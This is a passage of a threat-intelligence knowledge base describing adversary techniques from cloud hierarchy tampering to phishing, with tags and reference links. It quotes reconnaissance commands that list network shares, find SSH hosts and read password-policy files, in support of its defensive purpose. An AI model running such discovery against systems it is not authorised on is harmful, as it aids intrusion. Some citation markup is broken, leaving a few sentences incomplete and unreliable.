Adversaries may add, delete, or otherwise modify resource groups within an IaaS hierarchy. For example, in Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources. They may also engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant. This will allow the adversary to use the victim's compute resources without generating logs on the victim tenant.^{[[Microsoft Peach Sandstorm 2023](https://app.tidalcyber.com/references/84d026ed-b8f2-5bbb-865a-2d93aa4b2ef8)]}^{[[Microsoft Subscription Hijacking 2022](https://app.tidalcyber.com/references/e5944e4c-76c6-55d1-97ec-8367b7f98c28)]}

In AWS environments, adversaries with appropriate permissions in a given account may call the `LeaveOrganization` API, causing the account to be severed from the AWS Organization to which it was tied and removing any Service Control Policies, guardrails, or restrictions imposed upon it by its former Organization. Alternatively, adversaries may call the `CreateAccount` API in order to create a new account within an AWS Organization. This account will use the same payment methods registered to the payment account but may not be subject to existing detections or Service Control Policies.^{[[AWS RE:Inforce Threat Detection 2024](https://app.tidalcyber.com/references/f2689dfc-83ff-53c6-b074-ce507824799a)]}

The tag is: *misp-galaxy:technique="Modify Cloud Resource Hierarchy"*

Modify Registry

Adversaries may interact with the Windows Registry as part of a variety of other techniques to aid in defense evasion, persistence, and execution.

Access to specific areas of the Registry depends on account permissions, with some keys requiring administrator-level access. The built-in Windows command-line utility [Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) may be used for local or remote Registry modification.<sup>[[Microsoft Reg](https://app.tidalcyber.com/references/

1e1b21bd-18b3-4c77-8eb8-911b028ab603)]</sup> Other tools, such as remote access tools, may also contain functionality to interact with the Registry through the Windows API.

The Registry may be modified in order to hide configuration information or malicious payloads via [Obfuscated Files or Information]([Unit42 BabyShark Feb 2019(https://app.tidalcyber.com/references/634404e3-e2c9-4872-a280-12d2be168cba)]</sup>^{[[Avaddon Ransomware 2021](https://app.tidalcyber.com/references/9f6d1282-5bc1-5d0d-aede-8131411bd255)]}^{[[Microsoft BlackCat Jun 2022](https://app.tidalcyber.com/references/55be1ca7-fdb7-5d76-a9c8-5f44a0d00b0e)]}^{[[CISA Russian Gov Critical Infra 2018](https://app.tidalcyber.com/references/34b9648a-1548-5452-bac6-06b19e2cc995)]} The Registry may also be modified to [Impair Defenses](https://app.tidalcyber.com/technique/e3be3d76-0a36-4060-8003-3b39c557f728), such as by enabling macros for all Microsoft Office products, allowing privilege escalation without alerting the user, increasing the maximum number of allowed outbound requests, and/or modifying systems to store plaintext credentials in memory.^{[[CISA LockBit 2023](https://app.tidalcyber.com/references/4a62ae6b-0baf-56f0-8a2e-3b0761b5de91)]}^{[[Unit42 BabyShark Feb 2019](https://app.tidalcyber.com/references/634404e3-e2c9-4872-a280-12d2be168cba)]}

The Registry of a remote system may be modified to aid in execution of files as part of lateral movement. It requires the remote Registry service to be running on the target system.^{[[Microsoft Remote](https://app.tidalcyber.com/references/331d59e3-ce7f-483c-b77d-001c8a9ae1df)]} Often [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) are required, along with access to the remote system's [SMB/Windows Admin Shares](https://app.tidalcyber.com/technique/bc2f2c6c-ffe7-4e78-bbac-369f6781bbdd) for RPC communication.

Finally, Registry modifications may also include actions to hide keys, such as prepending key names with a null character, which will cause an error and/or be ignored when read via [Reg](https://app.tidalcyber.com/software/d796615c-fa3d-4afd-817a-1a3db8c73532) or other utilities using the Win32 API.^{[[Microsoft Reghide NOV 2006](https://app.tidalcyber.com/references/42503ec7-f5da-4116-a3b3-a1b18a66eed3)]} Adversaries may abuse these pseudo-hidden keys to conceal payloads/commands used to maintain persistence.^{[[TrendMicro POWELIKS AUG 2014](https://app.tidalcyber.com/references/4a42df15-4d09-4f4f-8333-2b41356fdb80)]}^{[[SpectorOps Hiding Reg Jul 2017](https://app.tidalcyber.com/references/877a5ae4-ec5f-4f53-b69d-ba74ff9e1619)]}

The tag is: *misp-galaxy:technique="Modify Registry"*

Modify System Image

Adversaries may make changes to the operating system of embedded network devices to weaken defenses and provide new capabilities for themselves. On such devices, the operating systems are typically monolithic and most of the device functionality and capabilities are contained within a single file.

To change the operating system, the adversary typically only needs to affect this one file, replacing or modifying it. This can either be done live in memory during system runtime for immediate effect, or in storage to implement the change on the next boot of the network device.

The tag is: *misp-galaxy:technique="Modify System Image"*

Multi-Factor Authentication Interception

Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms.

If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. ^{[[Mandiant M Trends 2011](https://app.tidalcyber.com/references/563be052-29ac-4625-927d-84e475ef848e)]}

Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). ^{[[GCN RSA June 2011](https://app.tidalcyber.com/references/40564d23-b9ae-4bb3-8dd1-d6b01163a32d)]}

Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users' phones.^{[[Okta Scatter Swine 2022](https://app.tidalcyber.com/references/66d1b6e2-c069-5832-b549-fc5f0edeed40)]}

The tag is: *misp-galaxy:technique="Multi-Factor Authentication Interception"*

Multi-Factor Authentication Request Generation

Adversaries may attempt to bypass multi-factor authentication (MFA) mechanisms and gain access to accounts by generating MFA requests sent to users.

Adversaries in possession of credentials to [Valid Accounts](https://app.tidalcyber.com/technique/a9b7eb2f-63e7-41bc-9d77-f7c4cede5406) may be unable to complete the login process if they lack access to the 2FA or MFA mechanisms required as an additional credential and security control. To circumvent this, adversaries may abuse the automatic generation of push notifications to MFA services such as Duo Push, Microsoft Authenticator, Okta, or similar services to have the user grant access to their account. If adversaries lack credentials to victim accounts, they may also abuse automatic push notification generation when this option is configured for self-service password reset (SSPR).^{[[Obsidian SSPR Abuse 2023](https://app.tidalcyber.com/references/7f28f770-ef06-5923-b759-b731ceabe08a)]}

In some cases, adversaries may continuously repeat login attempts in order to bombard users with

MFA push notifications, SMS messages, and phone calls, potentially resulting in the user finally accepting the authentication request in response to “MFA fatigue.”^{[[Russian 2FA Push Annoyance - Cimpanu](https://app.tidalcyber.com/references/ad2b0648-b657-4daa-9510-82375a252fc4)]}^{[[MFA Fatigue Attacks - PortSwigger](https://app.tidalcyber.com/references/1b7b0f00-71ba-4762-ae81-bce24591cff4)]}^{[[Suspected Russian Activity Targeting Government and Business Entities Around the Globe](https://app.tidalcyber.com/references/f45a0551-8d49-4d40-989f-659416dc25ec)]}

The tag is: *misp-galaxy:technique="Multi-Factor Authentication Request Generation"*

Multi-Stage Channels

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://app.tidalcyber.com/technique/be8786b3-cd3d-47ef-a9e7-cd3ab3c901a1) in case the original first-stage communication path is discovered and blocked.

The tag is: *misp-galaxy:technique="Multi-Stage Channels"*

Native API

Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.^{[[NT API Windows](https://app.tidalcyber.com/references/306f7da7-caa2-40bf-a3db-e579c541eeb4)]}^{[[Linux Kernel API](https://app.tidalcyber.com/references/0a30d54e-187a-43e0-9725-3c80aa1c7619)]} These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.

Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.

Native API functions (such as <code>NtCreateProcess</code>) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces

and libraries.^{[[OutFlank System Calls](https://app.tidalcyber.com/references/c4c3370a-2d6b-4ebd-961e-58d584066377)]}^{[[CyberBit System Calls](https://app.tidalcyber.com/references/c13cf528-2a7d-4a32-aee2-db5db2f30298)]}^{[[MDSec System Calls](https://app.tidalcyber.com/references/b461e226-1317-4ce4-a195-ba4c4957db99)]} For example, functions such as the Windows API <code>CreateProcess()</code> or GNU <code>fork()</code> will allow programs and scripts to start other processes.^{[[Microsoft CreateProcess](https://app.tidalcyber.com/references/aa336e3a-464d-48ce-bebb-760b73764610)]}^{[[GNU Fork](https://app.tidalcyber.com/references/c46331cb-328a-46e3-89c4-e43fa345d6e8)]} This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.^{[[Microsoft Win32](https://app.tidalcyber.com/references/585b9975-3cfb-4485-a9eb-5eea337ebd3c)]}^{[[LIBC](https://app.tidalcyber.com/references/a3fe6ea5-c443-473a-bb13-b4fd8f4923fd)]}^{[[GLIBC](https://app.tidalcyber.com/references/75a6a1bf-a5a7-419d-b290-6662aeddb7eb)]}

Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.^{[[Microsoft NET](https://app.tidalcyber.com/references/b4727044-51bb-43b3-afdb-515bb4bb0f7e)]}^{[[Apple Core Services](https://app.tidalcyber.com/references/0ef05e47-1305-4715-a677-67f1b55b24a3)]}^{[[MACOS Cocoa](https://app.tidalcyber.com/references/6ada4c6a-23dc-4469-a3a1-1d3b4935db97)]}^{[[macOS Foundation](https://app.tidalcyber.com/references/ea194268-0a8f-4494-be09-ef5f679f68fe)]}

Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.^{[[Redops Syscalls](https://app.tidalcyber.com/references/dd8c2edd-b5ba-5a41-b65d-c3a2951d07b8)]} Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://app.tidalcyber.com/technique/9f290216-b2ab-47b5-b9ae-a94ae6d357c6).

The tag is: *misp-galaxy:technique="Native API"*

Network Boundary Bridging

Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.

Devices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks. They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections. Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications. To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.

When an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance. By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://app.tidalcyber.com/technique/fa05c148-56a0-43ae-b8e4-2d4e91641400) or exfiltration of data via [Traffic Duplication](https://app.tidalcyber.com/technique/c2fc2776-e674-46ff-8b8d-ecc90b8b1c26). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://app.tidalcyber.com/technique/8b744bfc-6bfb-45c5-8bb8-5b736ce7e634) to achieve the same goals.^{[[Kaspersky ThreatNeedle Feb 2021](https://app.tidalcyber.com/references/ba6a5fcc-9391-42c0-8b90-57b729525f41)]} In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.

The tag is: *misp-galaxy:technique="Network Boundary Bridging"*

Network Denial of Service

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes^{[[FireEye OpPoisonedHandover February 2016](https://app.tidalcyber.com/references/1d57b1c8-930b-4bcb-a51e-39020327cc5d)]} and to support other malicious activities, including distraction^{[[FSISAC FraudNetDoS September 2012](https://app.tidalcyber.com/references/9c8772eb-6d1d-4742-a2db-a5e1006effaa)]}, hacktivism, and extortion.^{[[Symantec DDoS October 2014](https://app.tidalcyber.com/references/878e0382-4191-4bca-8adc-c379b0d57ba8)]}

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://app.tidalcyber.com/technique/8b0caea0-602e-4117-8322-b125150f5c2a).

The tag is: *misp-galaxy:technique="Network Denial of Service"*

Network Service Discovery

Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.^{[[CISA AR21-126A FIVEHANDS May 2021](https://app.tidalcyber.com/references/f98604dd-2881-4024-8e43-6f5f48c6c9fa)]}

Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.

Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host's registered services on the network. For example, adversaries can use a mDNS query (such as <code>dns-sd -B _ssh._tcp .</code>) to find other systems broadcasting the ssh service.^{[[apple doco bonjour description](https://app.tidalcyber.com/references/b8538d67-ab91-41c2-9cc3-a7b00c6b372a)]}^{[[macOS APT Activity Bradley](https://app.tidalcyber.com/references/7ccda957-b38d-4c3f-a8f5-6cecdcb3f584)]}

The tag is: *misp-galaxy:technique="Network Service Discovery"*

Network Share Discovery

Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.

File sharing over a Windows network occurs over the SMB protocol. ^{[[Wikipedia Shared Resource](https://app.tidalcyber.com/references/6cc6164e-84b3-4413-9895-6719248808fb)]} ^{[[TechNet Shared Folder](https://app.tidalcyber.com/references/80a9b92a-1404-4454-88f0-dd929a12e16f)]} [Net](https://app.tidalcyber.com/software/c9b8522f-126d-40ff-b44e-1f46098bd8cc) can be used to query a remote system for available shared drives using the <code>net view \\\\remotesystem</code> command. It can also be used to query shared drives on the local system using <code>net share</code>. For macOS, the <code>sharing -l</code> command lists all shared points used for smb services.

The tag is: *misp-galaxy:technique="Network Share Discovery"*

Network Sniffing

Adversaries may passively sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://app.tidalcyber.com/technique/b44a263f-76b2-4a1f-baeb-dd285974eca6), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.

Network sniffing may reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent [Lateral Movement](https://app.tidalcyber.com/tactics/50ba4930-7c8e-4ef9-bc36-70e7dae661eb) and/or [Defense Evasion](https://app.tidalcyber.com/tactics/8e29c6c9-0c10-4bb0-827d-ff0ab8922726) activities. Adversaries may likely also utilize network sniffing during [Adversary-in-the-Middle](https://app.tidalcyber.com/technique/d98dbf30-c454-42ff-a9f3-2cd3319cc0d9) (AiTM) to passively gain additional knowledge about the environment.

In cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.^{[[AWS Traffic Mirroring](https://app.tidalcyber.com/references/6b77a2f3-39b8-4574-8dee-cde7ba9debff)]}^{[[GCP Packet Mirroring](https://app.tidalcyber.com/references/c91c6399-3520-4410-936d-48c3b13235ca)]}^{[[Azure Virtual Network TAP](https://app.tidalcyber.com/references/3f106d7e-f101-4adb-bbd1-d8c04a347f85)]} Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.^{[[Rhino Security Labs AWS VPC Traffic Mirroring](https://app.tidalcyber.com/references/09cac813-862c-47c8-a47f-154c5436afbb)]}^{[[SpecterOps AWS Traffic Mirroring](https://app.tidalcyber.com/references/6ab2cfa1-230f-498e-8049-fcdd2f7296dd)]} The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.^{[[Rhino Security Labs AWS VPC Traffic Mirroring](https://app.tidalcyber.com/references/09cac813-862c-47c8-a47f-154c5436afbb)]}

On network devices, adversaries may perform network captures using [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) commands such as `monitor capture`.^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}^{[[capture_embedded_packet_on_software](https://app.tidalcyber.com/references/5d973180-a28a-5c8f-b13a-45d21331700f)]}

The tag is: *misp-galaxy:technique="Network Sniffing"*

Non-Application Layer Protocol

Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.^{[[Wikipedia OSI](https://app.tidalcyber.com/references/d1080030-12c7-4223-92ab-fb764acf111d)]} Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled

protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example.^{[[Cisco Synful Knock Evolution](https://app.tidalcyber.com/references/29301297-8343-4f75-8096-7fe229812f75)]} Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts.^{[[Microsoft ICMP](https://app.tidalcyber.com/references/47612548-dad1-4bf3-aa6f-a53aefa06f6a)]} However, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

In ESXi environments, adversaries may leverage the Virtual Machine Communication Interface (VMCI) for communication between guest virtual machines and the ESXi host. This traffic is similar to client-server communications on traditional network sockets but is localized to the physical machine running the ESXi host, meaning it does not traverse external networks (routers, switches). This results in communications that are invisible to external monitoring and standard networking tools like tcpdump, netstat, nmap, and Wireshark. By adding a VMCI backdoor to a compromised ESXi host, adversaries may persistently regain access from any guest VM to the compromised ESXi host's backdoor, regardless of network segmentation or firewall rules in place.^{[[Google Cloud Threat Intelligence VMWare ESXi Zero-Day 2023](https://app.tidalcyber.com/references/204d9587-957b-5398-a7c9-969500315ab3)]}

The tag is: *misp-galaxy:technique="Non-Application Layer Protocol"*

Non-Standard Port

Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088^{[[Symantec Elfin Mar 2019](https://app.tidalcyber.com/references/55671ede-f309-4924-a1b4-3d597517b27e)]} or port 587^{[[Fortinet Agent Tesla April 2018](https://app.tidalcyber.com/references/86a65be7-0f70-4755-b526-a26b92eabaa2)]} as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.

Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.^{[[change_rdp_port_conti](https://app.tidalcyber.com/references/c0deb077-6c26-52f1-9e7c-d1fb535a02a0)]}

The tag is: *misp-galaxy:technique="Non-Standard Port"*

Obfuscated Files or Information

Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and [Deobfuscate/Decode Files or Information](https://app.tidalcyber.com/technique/88c2fb46-877a-4005-8425-7639d0da1920) for [User Execution](https://app.tidalcyber.com/

technique/b84435ab-2ff4-4b6f-ba71-b4b815474872). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. ^{[[Volexity PowerDuke November 2016](https://app.tidalcyber.com/references/4026c055-6020-41bb-a4c8-54b308867023)]} Adversaries may also use compressed or archived scripts, such as JavaScript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery. ^{[[Linux/Cdorked.A We Live Security Analysis](https://app.tidalcyber.com/references/f76fce2e-2884-4b50-a7d7-55f08b84099c)]} Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled. ^{[[Carbon Black Obfuscation Sept 2016](https://app.tidalcyber.com/references/bed8ae68-9738-46fb-abc9-0004fa35636a)]}

Adversaries may also abuse [Command Obfuscation](https://app.tidalcyber.com/technique/d8406198-626c-5659-945e-2b5105fcd0c9) to obscure commands executed from payloads or directly via [Command and Scripting Interpreter](https://app.tidalcyber.com/technique/a2184d53-63b1-4c40-81ed-da799080c36c). Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and application control mechanisms. ^{[[FireEye Obfuscation June 2017](https://app.tidalcyber.com/references/6d1089b7-0efe-4961-8abc-22a882895377)]} ^{[[FireEye Revoke-Obfuscation July 2017](https://app.tidalcyber.com/references/e03e9d19-18bb-4d28-8c96-8c1cef89a20b)]}^{[[PaloAlto EncodedCommand March 2017](https://app.tidalcyber.com/references/069ef9af-3402-4b13-8c60-b397b0b0bfd7)]}

The tag is: *misp-galaxy:technique="Obfuscated Files or Information"*

Obtain Capabilities

Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle.

In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals.^{[[NationsBuying](https://app.tidalcyber.com/references/a3e224e7-fe22-48d6-9ff5-35900f06c060)]}^{[[PegasusCitizenLab](https://app.tidalcyber.com/references/d248e284-37d3-4425-a29e-5a0c814ae803)]}

In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.^{[[DiginotarCompromise](https://app.tidalcyber.com/references/3c9b7b9a-d30a-4865-a96c-6e68d9e20452)]}

The tag is: *misp-galaxy:technique="Obtain Capabilities"*

Office Application Startup

Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins.

A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.^{[[SensePost Ruler GitHub](https://app.tidalcyber.com/references/aa0a1508-a872-4e69-bf20-d3c8202f18c1)]} These persistence mechanisms can work within Outlook or be used through Office 365.^{[[TechNet O365 Outlook Rules](https://app.tidalcyber.com/references/c7f9bd2f-254a-4254-8a92-a3ab02455fcb)]}

The tag is: *misp-galaxy:technique="Office Application Startup"*

OS Credential Dumping

Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures.^{[[Brining MimiKatz to Unix](https://app.tidalcyber.com/references/5ad06565-6694-4c42-81c9-880d66f6d07f)]} Credentials can then be used to perform [Lateral Movement](https://app.tidalcyber.com/tactics/50ba4930-7c8e-4ef9-bc36-70e7dae661eb) and access restricted information.

Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

The tag is: *misp-galaxy:technique="OS Credential Dumping"*

Password Policy Discovery

Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://app.tidalcyber.com/technique/c16eef78-232e-47a2-98e9-046ec075b13c). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).

Password policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as <code>net accounts (/domain)</code>, <code>Get-ADDefaultDomainPasswordPolicy</code>, <code>chage -l <username></code>, <code>cat /etc/pam.d/common-password</code>, and <code>pwpolicy getaccountpolicies</code> ^{[[Superuser Linux Password Policies](https://app.tidalcyber.com/references/c0bbc881-594a-408c-86a2-211ce6279231)]} <sup>[[Jamf User Password Policies](https://app.tidalcyber.com/

references/aa3846fd-a307-4be5-a487-9aa2688d5816)]</sup>. Adversaries may also leverage a [Network Device CLI](https://app.tidalcyber.com/technique/284bfbb3-99f0-4c3d-bc1f-ab74065b7907) on network devices to discover password policy information (e.g. <code>show aaa</code>, <code>show aaa common-criteria policy all</code>).^{[[US-CERT-TA18-106A](https://app.tidalcyber.com/references/1fe55557-94af-4697-a675-884701f70f2a)]}

Password policies can be discovered in cloud environments using available APIs such as <code>GetAccountPasswordPolicy</code> in AWS ^{[[AWS GetPasswordPolicy](https://app.tidalcyber.com/references/dd44d565-b9d9-437e-a31a-a52c6a21e3b3)]}.

The tag is: *misp-galaxy:technique="Password Policy Discovery"*

Peripheral Device Discovery

Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.^{[[Peripheral Discovery Linux](https://app.tidalcyber.com/references/427b3a1b-88ea-4027-bae6-7fb45490b81d)]}^{[[Peripheral Discovery macOS](https://app.tidalcyber.com/references/2a3c5216-b153-4d89-b0b1-f32af3aa83d0)]} Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.

The tag is: *misp-galaxy:technique="Peripheral Device Discovery"*

Permission Groups Discovery

Adversaries may attempt to discover group and permission settings. This information can help adversaries determine which user accounts and groups are available, the membership of users in particular groups, and which users and groups have elevated permissions.

Adversaries may attempt to discover group permission settings in many different ways. This data may provide the adversary with information about the compromised environment that can be used in follow-on activity and targeting.^{[[CrowdStrike BloodHound April 2018](https://app.tidalcyber.com/references/fa99f290-e42c-4311-9f6d-c519c9ab89fe)]}

The tag is: *misp-galaxy:technique="Permission Groups Discovery"*

Phishing

Adversaries may send phishing messages to gain access to victim systems. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass malware spam campaigns.

Adversaries may send victims emails containing malicious attachments or links, typically to

execute malicious code on victim systems. Phishing may also be conducted via third-party services, like social media platforms. Phishing may also involve social engineering techniques, such as posing as a trusted source, as well as evasive techniques such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., [Email Hiding Rules]([Microsoft OAuth Spam 2022(https://app.tidalcyber.com/references/086c06a0-3960-5fa8-b034-cef37a3aee90)]</sup>^{[[Palo Alto Unit 42 VBA Infostealer 2014](https://app.tidalcyber.com/references/c3eccab6-b12b-513a-9a04-396f7b3dcf63)]} Another way to accomplish this is by [Email Spoofing]([Proofpoint-spoof(https://app.tidalcyber.com/references/fe9f7542-bbf0-5e34-b3a9-8596cc5aa754)]</sup> the identity of the sender, which can be used to fool both the human recipient as well as automated security tools,^{[[cyberproof-double-bounce](https://app.tidalcyber.com/references/4406d688-c392-5244-b438-6995f38dfc61)]} or by including the intended target as a party to an existing email thread that includes malicious files or links (i.e., "thread hijacking").^{[[phishing-krebs](https://app.tidalcyber.com/references/1f591eeb-04c0-5125-b378-e3716a839d17)]}

Victims may also receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,^{[[sygnia Luna Month](https://app.tidalcyber.com/references/3e1c2a64-8446-538d-a148-2de87991955a)]}^{[[CISA Remote Monitoring and Management Software](https://app.tidalcyber.com/references/1ee55a8c-9e9d-520a-a3d3-1d2da57e0265)]} or install adversary-accessible remote management tools onto their computer (i.e., [User Execution]([Unit42 Luna Moth(https://app.tidalcyber.com/references/ec52bcc9-6a56-5b94-8534-23c8e7ce740f)]</sup>

The tag is: *misp-galaxy:technique="Phishing"*

Phishing for Information

